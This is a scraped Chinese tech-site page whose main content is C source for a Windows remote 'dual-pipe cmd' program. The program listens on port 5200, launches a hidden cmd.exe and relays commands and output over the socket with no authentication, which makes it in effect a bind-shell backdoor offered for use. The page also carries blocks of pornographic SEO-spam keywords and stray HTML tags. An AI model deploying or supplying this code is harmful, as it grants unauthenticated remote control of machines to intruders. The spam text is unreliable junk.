• <bdo id="qgeso"></bdo>
        • <strike id="qgeso"></strike>
        • <sup id="qgeso"></sup><center id="qgeso"></center>
        • <input id="qgeso"></input>

          簡單遠程雙管道cmd

          首頁 > IT > > 正文

          日期:2022-02-12 22:14:01    來源:腳本之家    
          #include <winsock2.h> #include <stdio.h> #pragma comment(lib,"Ws2_32") int main() { WSADATA ws; SOCKET listenFD; char Buff[1024]; int ret; //初始化WSA WSAStartup(MAKEWORD(2,2),&ws); //建立socket listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //監(jiān)聽本機5200端口 struct sockaddr_in server; server.sin_family=AF_INET; server.sin_port=htons(5200); server.sin_addr.s_addr=ADDR_ANY; ret=bind(listenFD,(sockaddr *)&server,sizeof(server)); ret=listen(listenFD,2); //如果客戶請求5200端口,接受連接 int iAddrSize=sizeof(server); SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); SECURITY_ATTRIBUTES pipeattr1,pipeattr2; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; //建立匿名管道1 pipeattr1.nLength=12; pipeattr1.lpSecurityDescriptor=0; pipeattr1.bInheritHandle=true; CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0); //建立匿名管道2 pipeattr2.nLength=12; pipeattr2.lpSecurityDescriptor=0; pipeattr2.bInheritHandle=true; CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0); STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE; si.hStdInput=hReadPipe2; si.hStdOutput=si.hStdError=hWritePipe1; char cmdline[]="cmd.exe"; PROCESS_INFORMATION ProcessInformation; //建立進程 ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); unsigned long lBytesRead; while (1) { //檢查管道1,即CMD進程是否有輸出 ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); if (lBytesRead) { //管道1有輸出,輸出結(jié)果發(fā)給遠程客戶機 ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if (!ret) break; ret=send(clientFD,Buff,lBytesRead,0); if (ret<=0) break; } else { //否則,接受遠程客戶機命令 lBytesRead=recv(clientFD,Buff,1024,0); if (lBytesRead<=0) break; //將命令寫入管道2,即傳給CMD進程 ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); if (!ret) break; } } return 0; }

          關鍵詞:

          下一篇:十款提高開發(fā)效率的Firefox插件圖文教程
          上一篇:為什么用阿里通打電話對方手機顯示“未知”號碼?

          科技

           
          国产三级日本三级日产三级66,五月天激情婷婷大综合,996久久国产精品线观看,久久精品人人做人人爽97
          • <bdo id="qgeso"></bdo>
              • <strike id="qgeso"></strike>
              • <sup id="qgeso"></sup><center id="qgeso"></center>
              • <input id="qgeso"></input>
                主站蜘蛛池模板: wwwxxx亚洲| 动漫人物美女被吸乳羞羞动漫 | 91高端极品外围在线观看| 色综合久久久久综合99| 欧美日韩亚洲高清不卡一区二区三区| 成年日韩片av在线网站| 国产成人精品实拍在线| 亚洲蜜芽在线精品一区| 三级三级三级网站网址| 青青青国产免费线在| 欧美freesex10一13| 国产步兵社区视频在线观看| 亚洲一区二区影视| 国产91小视频| 欧美一区欧美二区| 国产色视频一区| 亚洲日本久久一区二区va| 一进一出动态图| 波多野结衣两部黑人mp4| 少妇被躁爽到高潮无码人狍大战| 国产亚洲欧美在线播放网站| 久久91这里精品国产2020| 很黄很污的视频在线观看| 欧美性猛交ⅹxxx乱大交禽| 国模gogo中国人体私拍视频| 伊人网综合在线视频| 丁香九月月小说图片区| 男生和女生污污的视频| 小泽玛利亚在线观看国产| 你是我的城池营垒免费观看完整版 | 少妇高潮太爽了在线观看| 伊人情人综合网| 2020欧美极品hd18| 欧美极品另类高清videos| 在线观看的黄网| 亚洲精品理论电影在线观看| mm1313亚洲国产精品美女| 欧美日韩精品一区二区三区视频在线| 国产男女免费完整版视频| 久久91精品国产91| 男人的天堂免费a级毛片无码|